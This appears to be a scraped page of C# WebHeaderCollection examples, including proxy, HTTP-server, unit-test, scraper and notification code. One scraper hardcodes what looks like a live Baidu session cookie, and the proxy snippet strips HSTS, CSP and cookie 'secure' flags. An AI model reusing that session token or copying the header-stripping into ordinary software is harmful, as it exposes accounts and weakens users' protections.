                                    codepages += "<tr><td><b>" + cp.Name + "</b></td><td>" + cp.CodePage + "</td><td>" + cp.DisplayName + "</td></tr>\n";
                                }
                            }
                            codepages += "</table><br>Use any of these. Underlined are for your locale.";
                            SendError(200, codepages);
                            break;

                        default:
                            SendError(200, "Unknown internal URL: " + RequestURL.PathAndQuery);
                            break;
                        }
                        return;
                    }
                    //local proxy mode: http://localhost/http://example.com/indexr.shtml
                    if (RequestURL.LocalPath.StartsWith("/http:") || RequestURL.AbsoluteUri.StartsWith("/https:"))
                    {
                        RequestURL = new Uri(RequestURL.LocalPath.Replace("/http:/", "http://"));
                        Console.WriteLine("{0}\t Local: {1}", GetTime(BeginTime), RequestURL);
                    }
                    else
                    {
                        //dirty local mode, try to use last used host: http://localhost/favicon.ico
                        RequestURL = new Uri("http://" + new Uri(LastURL).Host + RequestURL.LocalPath);
                        Console.WriteLine("{0}\t Dirty local: {1}", GetTime(BeginTime), RequestURL);
                    }
                }

                //check for HTTP-to-FTP requests
                //https://support.microsoft.com/en-us/help/166961/how-to-ftp-with-cern-based-proxy-using-wininet-api
                string[] BadProtocols = { "ftp", "gopher", "wais" };
                if (CheckString(RequestURL.Scheme, BadProtocols))
                {
                    Console.WriteLine("{0}\t CERN Proxy request to {1} detected.", GetTime(BeginTime), RequestURL.Scheme.ToUpper());
                    SendError(101, "Cannot work with " + RequestURL.Scheme.ToUpper() + " protocol. Please connect directly bypassing the proxy.");                    //, "\nUpgrade: " + RequestURL.Scheme.ToUpper());
                    return;
                }

                //dirty workarounds for HTTP>HTTPS redirection bugs
                if ((RequestURL.AbsoluteUri == RefererUri || RequestURL.AbsoluteUri == LastURL) && RequestURL.AbsoluteUri != "" && ClientRequest.HttpMethod != "POST" && ClientRequest.HttpMethod != "CONNECT" && !Program.CheckString(RequestURL.AbsoluteUri, ConfigFile.ForceHttps))
                {
                    Console.WriteLine("{0}\t Carousel detected.", GetTime(BeginTime));
                    if (!LastURL.StartsWith("https") && !RequestURL.AbsoluteUri.StartsWith("https"))                     //if http is gone, try https
                    {
                        RequestURL = new Uri("https" + RequestURL.AbsoluteUri.Substring(4));
                    }
                    if (LastURL.StartsWith("https"))                     //if can't use https, try again http
                    {
                        RequestURL = new Uri("http" + RequestURL.AbsoluteUri.Substring(4));
                    }
                }

                //check for too new frameworks & replace with older versions
                foreach (string str in ConfigFile.FixableURLs)
                {
                    if (Regex.Match(RequestURL.AbsoluteUri, str).Success)
                    {
                        try
                        {
                            string ValidMask = "";
                            if (ConfigFile.FixableUrlActions[str].ContainsKey("ValidMask"))
                            {
                                ValidMask = ConfigFile.FixableUrlActions[str]["ValidMask"];
                            }

                            string Redirect = "about:mozilla";
                            if (ConfigFile.FixableUrlActions[str].ContainsKey("Redirect"))
                            {
                                Redirect = ConfigFile.FixableUrlActions[str]["Redirect"];
                            }

                            string InternalRedirect = "no";
                            if (ConfigFile.FixableUrlActions[str].ContainsKey("Internal"))
                            {
                                InternalRedirect = ConfigFile.FixableUrlActions[str]["Internal"];
                            }

                            if (ValidMask == "" || !Regex.Match(RequestURL.AbsoluteUri, ValidMask).Success)
                            {
                                string NewURL = Redirect.Replace("%URL%", RequestURL.AbsoluteUri).Replace("%UrlNoDomain%", RequestURL.AbsoluteUri.Substring(RequestURL.AbsoluteUri.IndexOf("/") + 2).Substring((RequestURL.AbsoluteUri.Substring(RequestURL.AbsoluteUri.IndexOf("/") + 2)).IndexOf("/") + 1));
                                //need to fix urlnodomain to extract using System.Uri instead of InStr/Mid$.

                                if (Redirect.Contains("%UrlNoPort%"))
                                {
                                    Uri NewUri  = RequestURL;
                                    var builder = new UriBuilder(NewUri);
                                    builder.Port = -1;
                                    NewUri       = builder.Uri;
                                    NewURL       = NewUri.ToString();
                                }

                                /*else {
                                 *      NewUri = new Uri(NewURL);
                                 *      NewURL = NewUri.ToString();
                                 * }*/

                                ShouldRedirectInNETFW = ConfigFile.ToBoolean(InternalRedirect);

                                if (!ShouldRedirectInNETFW)
                                {
                                    Console.WriteLine("{0}\t Fix to {1}", GetTime(BeginTime), NewURL);
                                    ClientResponse.AddHeader("Location", NewURL);
                                    SendError(302, "Брось каку!");
                                    return;
                                }
                                else
                                {
                                    Console.WriteLine("{0}\t Fix to {1} internally", GetTime(BeginTime), NewURL);
                                    RequestURL = new Uri(NewURL);
                                }
                            }
                        }
                        catch (Exception rex)
                        {
                            Console.WriteLine("{0}\t Cannot redirect! {1}", GetTime(BeginTime), rex.Message);
                            SendError(200, rex.ToString().Replace("\n", "\n<br>"));
                        }
                    }
                }


                LastURL = RequestURL.AbsoluteUri;

                //make reply
                //SendError(200, "Okay, bro! Open " + RequestURL);
                HTTPC https   = new HTTPC();
                bool  StWrong = false;                //break operation if something is wrong.

                if (RequestURL.AbsoluteUri.Contains("??"))
                {
                    StWrong = true; SendError(400, "Too many questions.");
                }
                if (RequestURL.AbsoluteUri.Length == 0)
                {
                    StWrong = true; SendError(400, "Empty URL.");
                }
                if (RequestURL.AbsoluteUri == "")
                {
                    return;
                }

                try
                {
                    int CL = 0;
                    if (ClientRequest.Headers["Content-Length"] != null)
                    {
                        CL = Int32.Parse(ClientRequest.Headers["Content-Length"]);
                    }

                    //send HTTPS request to destination server
                    WebHeaderCollection whc = new WebHeaderCollection();
                    foreach (string h in ClientRequest.Headers.Keys)
                    {
                        whc.Add(h, ClientRequest.Headers[h]);
                    }
                    SendRequest(https, ClientRequest.HttpMethod, whc, CL);
                }
                catch (WebException wex)
                {
                    if (wex.Response == null)
                    {
                        ResponseCode = 502;
                    }
                    else
                    {
                        ResponseCode = (int)(wex.Response as HttpWebResponse).StatusCode;
                    }
                    if (ResponseCode == 502)
                    {
                        Console.WriteLine("{0}\t Cannot load this page: {1}.", GetTime(BeginTime), wex.Status);
                    }
                    else
                    {
                        Console.WriteLine("{0}\t Web exception: {1} {2}.", GetTime(BeginTime), ResponseCode, (wex.Response as HttpWebResponse).StatusCode);
                    }

                    ContentType = "text/html";
                    string err = ": " + wex.Status.ToString();
#if DEBUG
                    ResponseBody = "<html><body>Cannot load this page" + err + "<br><i>" + wex.ToString().Replace("\n", "<br>") + "</i><br>URL: " + RequestURL.AbsoluteUri + Program.GetInfoString() + "</body></html>";
#else
                    ResponseBody = "<html><body>Cannot load this page" + err + " (<i>" + wex.Message + "</i>)<br>URL: " + RequestURL.AbsoluteUri + Program.GetInfoString() + "</body></html>";
#endif

                    //check if archived copy can be retreived instead
                    bool Archived = false;
                    if (ConfigFile.SearchInArchive)
                    {
                        if ((wex.Status == WebExceptionStatus.NameResolutionFailure) ||
                            (wex.Response != null && (wex.Response as HttpWebResponse).StatusCode == HttpStatusCode.NotFound))
                        {
                            try
                            {
                                Console.WriteLine("{0}\t Look in Archive.org...", GetTime(BeginTime));
                                HttpWebRequest ArchiveRequest = (HttpWebRequest)WebRequest.Create("https://archive.org/wayback/available?url=" + RequestURL.AbsoluteUri);
                                ArchiveRequest.UserAgent = "WebOne/" + System.Reflection.Assembly.GetExecutingAssembly().GetName().Version;
                                ArchiveRequest.Method    = "GET";
                                string       ArchiveResponse = "";
                                MemoryStream ms = new MemoryStream();
                                ArchiveRequest.GetResponse().GetResponseStream().CopyTo(ms);
                                ArchiveResponse = Encoding.UTF8.GetString(ms.ToArray());
                                string ArchiveURL = "";

                                //parse archive.org json reply
                                if (ArchiveResponse.Contains(@"""available"": true"))
                                {
                                    Archived = true;
                                    Match ArchiveMatch = Regex.Match(ArchiveResponse, @"""url"": ""http://web.archive.org/.*"",");;
                                    if (ArchiveMatch.Success)
                                    {
                                        Console.WriteLine("{0}\t Available.", GetTime(BeginTime));
                                        ArchiveURL   = ArchiveMatch.Value.Substring(8, ArchiveMatch.Value.IndexOf(@""",") - 8);
                                        ResponseBody = "<html><body><h1>Server not found</h2>But an <a href=" + ArchiveURL + ">archived copy</a> is available! Redirecting to it...</body></html>";
                                        ClientResponse.AddHeader("Location", ArchiveURL);
                                        SendError(302, ResponseBody);
                                    }
                                    else
                                    {
                                        Archived = false;
                                        Console.WriteLine("{0}\t Available, but somewhere.", GetTime(BeginTime));
                                    }
                                }
                                else
                                {
                                    Console.WriteLine("{0}\t No snapshots.", GetTime(BeginTime));
                                    if (RequestURL.AbsoluteUri.StartsWith("http://web.archive.org/web/") && ConfigFile.ShortenArchiveErrors)
                                    {
                                        string ErrMsg =
                                            "<p><b>The Wayback Machine has not archived that URL.</b></p>" +
                                            "<p>This page is not available on the web because page does not exist<br>" +
                                            "Try to slightly change the URL.</p>" +
                                            "<small><i>You see this message because ShortenArchiveErrors option is enabled.</i></small>";
                                        SendError(404, ErrMsg);
                                        Archived = true;
                                    }
                                }
                            }
                            catch (Exception ArchiveException)
                            {
                                ResponseBody = String.Format("<html><body><b>Server not found and a Web Archive error occured.</b><br>{0}</body></html>", ArchiveException.Message.Replace("\n", "<br>"));
                            }
                        }
                    }

                    //check if there are any response and the error isn't fatal
                    if (wex.Response != null)
                    {
                        for (int i = 0; i < wex.Response.Headers.Count; ++i)
                        {
                            string header = wex.Response.Headers.GetKey(i);
                            foreach (string value in wex.Response.Headers.GetValues(i))
                            {
                                if (!header.StartsWith("Content-") &&
                                    !header.StartsWith("Connection") &&
                                    !header.StartsWith("Transfer-Encoding") &&
                                    !header.StartsWith("Access-Control-Allow-Methods") &&
                                    !header.StartsWith("Strict-Transport-Security") &&
                                    !header.StartsWith("Content-Security-Policy") &&
                                    !header.StartsWith("Upgrade-Insecure-Requests") &&
                                    !(header.StartsWith("Vary") && value.Contains("Upgrade-Insecure-Requests")))
                                {
                                    ClientResponse.AddHeader(header, value.Replace("; secure", "").Replace("https://", "http://"));
                                }
                            }
                        }
                        ContentType = wex.Response.ContentType;
                        MakeOutput((HttpStatusCode)ResponseCode, wex.Response.GetResponseStream(), wex.Response.ContentType, wex.Response.ContentLength);
                    }
                                        #if DEBUG
                    else if (!Archived)
                    {
                        Console.WriteLine("{0}\t Failed: {1}.", GetTime(BeginTime), ResponseCode);
                    }
                                        #endif
                }
                catch (UriFormatException)
                {
                    StWrong = true;
                    SendError(400, "The URL <b>" + RequestURL.AbsoluteUri + "</b> is not valid.");
                }
                catch (Exception ex)
                {
                    StWrong = true;
                    Console.WriteLine("{0}\t ============GURU MEDITATION:\n{1}\nOn URL '{2}', Method '{3}'. Returning 500.============", GetTime(BeginTime), ex.ToString(), RequestURL.AbsoluteUri, ClientRequest.HttpMethod);
                    SendError(500, "Guru meditaion at URL " + RequestURL.AbsoluteUri + ":<br><b>" + ex.Message + "</b><br><i>" + ex.StackTrace.Replace("\n", "\n<br>") + "</i>");
                }

                //try to return...
                try
                {
                    if (!StWrong)
                    {
                        ClientResponse.ProtocolVersion = new Version(1, 0);
                        ClientResponse.StatusCode      = ResponseCode;
                        ClientResponse.AddHeader("Via", "HTTP/1.0 WebOne/" + System.Reflection.Assembly.GetExecutingAssembly().GetName().Version);


                        if (CheckString(ContentType, ConfigFile.TextTypes) || ContentType == "")
                        {
                            ClientResponse.AddHeader("Content-Type", ContentType);
                        }
                        else
                        {
                            ClientResponse.AddHeader("Content-Type", ContentType);
                        }

                        if (TransitStream == null)
                        {
                            byte[] RespBuffer;
                            RespBuffer = (ConfigFile.OutputEncoding ?? Encoding.Default).GetBytes(ResponseBody).ToArray();

                            if (ClientResponse.ContentLength64 > 300 * 1024)
                            {
                                Console.WriteLine("{0}\t Sending binary.", GetTime(BeginTime));
                            }
                            ClientResponse.OutputStream.Write(RespBuffer, 0, RespBuffer.Length);
                        }
                        else
                        {
                            TransitStream.CopyTo(ClientResponse.OutputStream);
                        }
                        ClientResponse.OutputStream.Close();
                                                #if DEBUG
                        Console.WriteLine("{0}\t Document sent.", GetTime(BeginTime));
                                                #endif
                    }
                                        #if DEBUG
                    else
                    {
                        Console.WriteLine("{0}\t Abnormal return (something was wrong).", GetTime(BeginTime));
                    }
                                        #endif
                }
                catch (Exception ex)
                {
                    if (!ConfigFile.HideClientErrors)
                                                #if DEBUG
                    { Console.WriteLine("{0}\t<Can't return reply. " + ex.Message + ex.StackTrace, GetTime(BeginTime)); }
                                                #else
                    { Console.WriteLine("{0}\t<Can't return reply. " + ex.Message, GetTime(BeginTime)); }
                                                #endif
                }
            }
            catch (Exception E)
            {
                string time = GetTime(BeginTime);
                Console.WriteLine("{0}\t A error has been catched: {1}\n{0}\t Please report to author.", time, E.ToString().Replace("\n", "\n{0}\t "));
                SendError(500, "WTF?! " + E.ToString().Replace("\n", "\n<BR>"));
            }
                        #if DEBUG
            Console.WriteLine("{0}\t End process.", GetTime(BeginTime));
                        #endif
        }
 public void NameValue_Add_Success()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add("Accept", "text/json");
 }
Ejemplo n.º 42
0
        internal WebHeaderCollection WriteHeadersTo(MemoryStream destination)
        {
            var headers = new WebHeaderCollection(HttpHeaderType.Response, true);

            if (_headers != null)
            {
                headers.Add(_headers);
            }

            if (_contentType != null)
            {
                var type = _contentType.IndexOf("charset=", StringComparison.Ordinal) == -1 &&
                           _contentEncoding != null
                   ? String.Format("{0}; charset={1}", _contentType, _contentEncoding.WebName)
                   : _contentType;

                headers.InternalSet("Content-Type", type, true);
            }

            if (headers["Server"] == null)
            {
                headers.InternalSet("Server", "websocket-sharp/1.0", true);
            }

            var prov = CultureInfo.InvariantCulture;

            if (headers["Date"] == null)
            {
                headers.InternalSet("Date", DateTime.UtcNow.ToString("r", prov), true);
            }

            if (!_sendChunked)
            {
                headers.InternalSet("Content-Length", _contentLength.ToString(prov), true);
            }
            else
            {
                headers.InternalSet("Transfer-Encoding", "chunked", true);
            }

            /*
             * Apache forces closing the connection for these status codes:
             * - 400 Bad Request
             * - 408 Request Timeout
             * - 411 Length Required
             * - 413 Request Entity Too Large
             * - 414 Request-Uri Too Long
             * - 500 Internal Server Error
             * - 503 Service Unavailable
             */
            var closeConn = !_context.Request.KeepAlive ||
                            !_keepAlive ||
                            _statusCode == 400 ||
                            _statusCode == 408 ||
                            _statusCode == 411 ||
                            _statusCode == 413 ||
                            _statusCode == 414 ||
                            _statusCode == 500 ||
                            _statusCode == 503;

            var reuses = _context.Connection.Reuses;

            if (closeConn || reuses >= 100)
            {
                headers.InternalSet("Connection", "close", true);
            }
            else
            {
                headers.InternalSet(
                    "Keep-Alive", String.Format("timeout=15,max={0}", 100 - reuses), true);

                if (_context.Request.ProtocolVersion < HttpVersion.Version11)
                {
                    headers.InternalSet("Connection", "keep-alive", true);
                }
            }

            if (_location != null)
            {
                headers.InternalSet("Location", _location, true);
            }

            if (_cookies != null)
            {
                foreach (Cookie cookie in _cookies)
                {
                    headers.InternalSet("Set-Cookie", cookie.ToResponseString(), true);
                }
            }

            var enc    = _contentEncoding ?? Encoding.Default;
            var writer = new StreamWriter(destination, enc, 256);

            writer.Write("HTTP/{0} {1} {2}\r\n", _version, _statusCode, _statusDescription);
            writer.Write(headers.ToStringMultiValue(true));
            writer.Flush();

            // Assumes that the destination was at position 0.
            destination.Position = enc.GetPreamble().Length;

            return(headers);
        }
 public void NameValue_AddEmptyName_Fail()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     Assert.Throws<ArgumentException>(() => w.Add("", "test"));
 }
Ejemplo n.º 44
0
        public static void Start()
        {
            Uri          uri          = new Uri("https://news.baidu.com");
            HtmlWeb      htmlWeb      = new HtmlWeb();
            HtmlDocument htmlDocument = htmlWeb.Load(uri);

            WebClient webClient = new WebClient();

            webClient.BaseAddress = uri.ToString();
            webClient.Encoding    = Encoding.UTF8;
            string html = webClient.DownloadString("");

            HttpClient httpClient = new HttpClient();
            String     webContent = httpClient.GetStringAsync(uri).Result;

            WebHeaderCollection webHeaderCollection = new WebHeaderCollection();

            webHeaderCollection.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
            webHeaderCollection.Add(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
            webHeaderCollection.Add(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
            webHeaderCollection.Add(HttpRequestHeader.CacheControl, "max-age=0");
            webHeaderCollection.Add(HttpRequestHeader.Connection, "keep-alive");

            RequestOptions requestOptions = new RequestOptions()
            {
                Method         = "GET",
                Uri            = uri,
                RequestCookies = "BDUSS=EV3UWVkTkhCQ0dTYmxDZnYxejZtUWZmWGhya0J3bWdmU2RaTkpzUWtnOTZYWVpiQVFBQUFBJCQAAAAAAAAAAAEAAADCx7UWwuTStsvmt-PGrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHrQXlt60F5bZ; delPer=0; BIDUPSID=89575E30EA0AF1CCEBD68E647BAAE7E8; BAIDUID=2297CFF1688195AC95C91B33F692A40E:FG=1; PSTM=1534732008; BDORZ=B490B5EBF6F3CD402E515D22BCDA1598; locale=zh; LOCALGX=%u4E0A%u6D77%7C%32%33%35%34%7C%u4E0A%u6D77%7C%32%33%35%34; Hm_lvt_e9e114d958ea263de46e080563e254c4=1534385531,1534388076,1534471787,1534924556; PSINO=2; H_PS_PSSID=1467_26911_21080_18560_26350_26920; Hm_lpvt_e9e114d958ea263de46e080563e254c4=1534927367",
                WebHeader      = webHeaderCollection
            };
            String webRequestContent = RequestAction(requestOptions);


            //HtmlNode IDNode = doc.DocumentNode.SelectSingleNode("//div[@id='header']/div[@id='blogTitle']/h1");
            HtmlNodeCollection htmlNodeCollection = htmlDocument.DocumentNode.SelectNodes("//img[@src!='']");

            Console.WriteLine($"共找到{htmlNodeCollection.Count}张图片,图片路径如下:");

            foreach (var temp in htmlNodeCollection)
            {
                String imgUrl  = String.Empty;
                String tempUrl = temp.GetAttributeValue("src", "");
                if (String.IsNullOrEmpty(tempUrl))
                {
                    continue;
                }
                if (tempUrl.ToUpper().IndexOf("HTTP") == 0 || tempUrl.ToUpper().IndexOf("HTTPS") == 0)
                {
                    imgUrl = tempUrl;
                }
                else if (tempUrl.ToUpper().IndexOf(":") == 0)
                {
                    imgUrl = uri.Scheme + tempUrl;
                }
                else if (tempUrl.ToUpper().IndexOf("//") == 0)
                {
                    imgUrl = uri.Scheme + ":" + tempUrl;
                }
                else if (tempUrl.ToUpper().IndexOf("/") == 0)
                {
                    imgUrl = uri.AbsoluteUri.Substring(0, uri.AbsoluteUri.Length - 1) + tempUrl;
                }
                else
                {
                    imgUrl = uri.AbsoluteUri + tempUrl;
                }
                Console.WriteLine(imgUrl);
            }
        }
 public void HttpRequestHeader_GetValues_Success()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add("header1", "value1");
     Assert.Equal("value1", w.GetValues("header1")[0]);
 }
 public void NameValue_AddNullName_Fail()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     Assert.Throws<ArgumentNullException>(() => w.Add(null, "test"));
 }
 public void HttpRequestHeader_Clear_Success()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add("header1", "value1");
     w.Add("header1", "value2");
     w.Clear();
     Assert.Equal(0, w.Count);
 }
 public void NameValue_AddEmptyValue_Success()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add("custom", "");
 }
Ejemplo n.º 49
0
 public void AddHeader(string name, string value)
 {
     requestHeaders.Add(name, value);
 }
 public void GetValues_String_Success(string header, string value, string[] expectedValues)
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add(header, value);
     string modifiedHeader = header.ToLowerInvariant(); // header should be case insensitive
     Assert.Equal(expectedValues, w.GetValues(modifiedHeader));
 }
Ejemplo n.º 51
0
        private static async Task <string> SendNativeNotificationREST(string hubname, string connectionString, string message, string nativeType)
        {
            ConnectionStringUtility connectionSaSUtil = new ConnectionStringUtility(connectionString);
            string location = null;

            string hubResource    = "messages/?";
            string apiVersion     = "api-version=2015-04";
            string notificationId = "Failed to get Notification Id";

            //=== Generate SaS Security Token for Authentication header ===
            // Determine the targetUri that we will sign
            string uri = connectionSaSUtil.Endpoint + hubname + "/" + hubResource + apiVersion;

            // 10 min expiration
            string SasToken = connectionSaSUtil.getSaSToken(uri, 10);

            WebHeaderCollection headers = new WebHeaderCollection();
            string          body;
            HttpWebResponse response = null;

            switch (nativeType.ToLower())
            {
            case "apns":
                headers.Add("ServiceBusNotification-Format", "apple");
                body     = "{\"aps\":{\"alert\":\"" + message + "\"}}";
                response = await ExecuteREST("POST", uri, SasToken, headers, body);

                break;

            case "gcm":
                headers.Add("ServiceBusNotification-Format", "gcm");
                body     = "{\"data\":{\"message\":\"" + message + "\"}}";
                response = await ExecuteREST("POST", uri, SasToken, headers, body);

                break;

            case "wns":
                headers.Add("X-WNS-Type", "wns/toast");
                headers.Add("ServiceBusNotification-Format", "windows");
                body = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>" +
                       "<toast>" +
                       "<visual>" +
                       "<binding template=\"ToastText01\">" +
                       "<text id=\"1\">" +
                       message +
                       "</text>" +
                       "</binding>" +
                       "</visual>" +
                       "</toast>";
                response = await ExecuteREST("POST", uri, SasToken, headers, body, "application/xml");

                break;
            }

            char[] seps1 = { '?' };
            char[] seps2 = { '/' };

            if ((int)response.StatusCode != 201)
            {
                return(string.Format("Failed to get notification message id - Http Status {0} : {1}", (int)response.StatusCode, response.StatusCode.ToString()));
            }

            if ((location = response.Headers.Get("Location")) != null)
            {
                string[] locationUrl   = location.Split(seps1);
                string[] locationParts = locationUrl[0].Split(seps2);

                notificationId = locationParts[locationParts.Length - 1];

                return(notificationId);
            }
            else
            {
                return(null);
            }
        }
        public void GetValues_Int_Success()
        {
            string[] keys = { "Accept", "uPgRaDe", "Custom" };
            string[] values = { "text/plain, text/html", " HTTP/2.0 , SHTTP/1.3,  , RTA/x11 ", "\"xyzzy\", \"r2d2xxxx\", \"c3piozzzz\"" };
            WebHeaderCollection w = new WebHeaderCollection();

            for (int i = 0; i < keys.Length; ++i)
            {
                w.Add(keys[i], values[i]);
            }

            for (int i = 0; i < keys.Length; ++i)
            {
                string[] expected = new[] { values[i].Trim() };
                Assert.Equal(expected, w.GetValues(i));
            }
        }
            /// <summary>
            /// Parse the bytes received so far.
            /// If possible:
            ///    -Parse the Status line
            ///    -Parse the HTTP Headers
            ///    -if HTTP Headers Content-Length is present do we have that much content received?
            /// If all the above succeed then this method returns true, otherwise false (need to receive more data from network stream).
            /// </summary>
            private bool TryParseBuffer()
            {
                if (_bodyStartIndex == 0)
                {
                    int firstSpace = IndexOfAsciiChar(Buffer, 0, TotalBytesRead, ' ');
                    if (firstSpace == -1)
                    {
                        return(false);
                    }

                    ////HttpVersion = Encoding.ASCII.GetString(array, arraySegment.Offset, firstSpace - arraySegment.Offset);
                    int secondSpace = IndexOfAsciiChar(Buffer, firstSpace + 1, TotalBytesRead - (firstSpace + 1), ' ');
                    if (secondSpace == -1)
                    {
                        return(false);
                    }

                    var statusCodeString = Encoding.ASCII.GetString(Buffer, firstSpace + 1, secondSpace - (firstSpace + 1));
                    StatusCode = (HttpStatusCode)int.Parse(statusCodeString, CultureInfo.InvariantCulture);
                    int endOfLine = IndexOfAsciiChars(Buffer, secondSpace + 1, TotalBytesRead - (secondSpace + 1), '\r', '\n');
                    if (endOfLine == -1)
                    {
                        return(false);
                    }

                    StatusDescription = Encoding.ASCII.GetString(Buffer, secondSpace + 1, endOfLine - (secondSpace + 1));

                    // Now parse the headers
                    Headers = new WebHeaderCollection();
                    while (true)
                    {
                        int startCurrentLine = endOfLine + 2;
                        if (startCurrentLine >= TotalBytesRead)
                        {
                            return(false);
                        }
                        else if (Buffer[startCurrentLine] == '\r' && Buffer[startCurrentLine + 1] == '\n')
                        {
                            // \r\n\r\n indicates the end of the HTTP headers.
                            _bodyStartIndex = startCurrentLine + 2;
                            break;
                        }

                        int separatorIndex = IndexOfAsciiChars(Buffer, startCurrentLine, TotalBytesRead - startCurrentLine, ':', ' ');
                        if (separatorIndex == -1)
                        {
                            return(false);
                        }

                        string headerName = Encoding.ASCII.GetString(Buffer, startCurrentLine, separatorIndex - startCurrentLine);
                        endOfLine = IndexOfAsciiChars(Buffer, separatorIndex + 2, TotalBytesRead - (separatorIndex + 2), '\r', '\n');
                        if (endOfLine == -1)
                        {
                            return(false);
                        }

                        string headerValue = Encoding.ASCII.GetString(Buffer, separatorIndex + 2, endOfLine - (separatorIndex + 2));
                        Headers.Add(headerName, headerValue);
                    }
                }

                // check to see if all the body bytes have been received.
                string contentLengthValue = Headers[HttpResponseHeader.ContentLength];

                if (!string.IsNullOrEmpty(contentLengthValue) && contentLengthValue != "0")
                {
                    int contentLength = int.Parse(contentLengthValue, CultureInfo.InvariantCulture);
                    if (contentLength > TotalBytesRead - _bodyStartIndex)
                    {
                        return(false);
                    }
                }

                return(true);
            }
        public void GetKey_Fail()
        {
            WebHeaderCollection w = new WebHeaderCollection();
            w.Add("Accept", "text/plain");

            Assert.Throws<ArgumentOutOfRangeException>(() => w.GetKey(-1));
            Assert.Throws<ArgumentOutOfRangeException>(() => w.GetKey(42));
        }
Ejemplo n.º 55
0
 ///<summary>
 ///读取指定URL的文本
 ///</summary>
 ///<param name="URL">请求的地址</param>
 ///<returns>服务器响应文本</returns>
 public string OpenRead(string URL)
 {
     requestHeaders.Add("Connection", "Keep-Alive");
     requestHeaders.Add("Keep-Alive", "115");
     requestHeaders.Add("Accept-Charset:gb2312,utf-8;q=0.7,*;q=0.7");
     SendRequestData(URL, "GET");
     return(GetHtml());
 }
 /// <summary>
 /// Adds header information that authenticates the request to Tableau Online
 /// </summary>
 /// <param name="webHeaders"></param>
 private void AppendLoggedInHeadersForRequest(WebHeaderCollection webHeaders)
 {
     webHeaders.Add("X-Tableau-Auth", _onlineSession.LogInAuthToken);
     _onlineSession.StatusLog.AddStatus("Append header X-Tableau-Auth: " + _onlineSession.LogInAuthToken, -20);
 }
Ejemplo n.º 57
0
        private bool unJoin(string comId, CookieContainer cc, MainForm form, config.config cfg)
        {
            for (int i = 0; i < 3; i++)
            {
                //				var myPageUrl = "http://www.nicovideo.jp/my";
                var comUrl  = "https://www.nicovideo.jp/user/" + comId;
                var url     = "https://www.nicovideo.jp/api/watchitem/delete";
                var headers = new WebHeaderCollection();
                //				headers.Add("Upgrade-Insecure-Requests", "1");
                headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36");

                /*
                 * try {
                 *      var cg = new CookieGetter(cfg);
                 *      var cgret = cg.getHtml5RecordCookie(url, isSub);
                 *      cgret.Wait();
                 *
                 *      if (cgret == null || cgret.Result == null) {
                 *              System.Threading.Thread.Sleep(3000);
                 *              continue;
                 *      }
                 *      var _cc = cgret.Result[0];
                 *
                 * } catch (Exception e) {
                 *      return false;
                 * }
                 */

                try
                {
                    var pageRes = util.getPageSource(comUrl, cc);
                    var token   = util.getRegGroup(pageRes, "data-csrf-token=\"(.+?)\"");
                    if (token == null)
                    {
                        token = util.getRegGroup(pageRes, "Globals.hash = '(.+?)'");
                    }
                    if (token == null)
                    {
                        util.debugWriteLine("user unfollow token null " + comId);
                        return(false);
                    }

                    var handler = new System.Net.Http.HttpClientHandler();
                    handler.UseCookies      = true;
                    handler.CookieContainer = cc;
                    handler.Proxy           = null;

                    var http = new System.Net.Http.HttpClient(handler);
                    http.DefaultRequestHeaders.Referrer = new Uri(url);

                    /*
                     * var content = new System.Net.Http.FormUrlEncodedContent(new Dictionary<string, string>
                     * {
                     *      {"commit", "はい、フォローを解除します"}, {"time", time}, {"commit_key", commit_key}
                     * });
                     */
                    var    enc  = Encoding.GetEncoding("UTF-8");
                    string data =
                        "id_list[1][]=" + comId + "&token=" + token;
                    byte[] postDataBytes = Encoding.ASCII.GetBytes(data);

                    var req = (HttpWebRequest)WebRequest.Create(url);
                    req.Method          = "POST";
                    req.Proxy           = null;
                    req.CookieContainer = cc;
                    req.Referer         = url;
                    req.ContentLength   = postDataBytes.Length;
                    req.ContentType     = "application/x-www-form-urlencoded";
                    req.Headers.Add("X-Requested-With", "XMLHttpRequest");
                    using (var stream = req.GetRequestStream())
                    {
                        try
                        {
                            stream.Write(postDataBytes, 0, postDataBytes.Length);
                        }
                        catch (Exception e)
                        {
                            util.debugWriteLine(e.Message + " " + e.StackTrace + " " + e.Source + " " + e.TargetSite);
                        }
                    }

                    var res = req.GetResponse();

                    using (var getResStream = res.GetResponseStream())
                        using (var resStream = new System.IO.StreamReader(getResStream))
                        {
                            var resStr = resStream.ReadToEnd();

                            var isSuccess = resStr.IndexOf("{\"delete_count\":1,\"status\":\"ok\"}") > -1;
                            if (!isSuccess)
                            {
                                util.debugWriteLine(resStr);
                                Thread.Sleep(3000);
                                continue;
                            }
                            return(isSuccess);
                        }
                }
                catch (Exception e)
                {
                    //form.addLogText("フォロー解除に失敗しました。");
                    util.debugWriteLine(e.Message + e.StackTrace);
                    continue;
                }
            }
            //form.addLogText("フォロー解除に失敗しました。");
            util.debugWriteLine("フォロー解除失敗 " + comId);
            return(false);
        }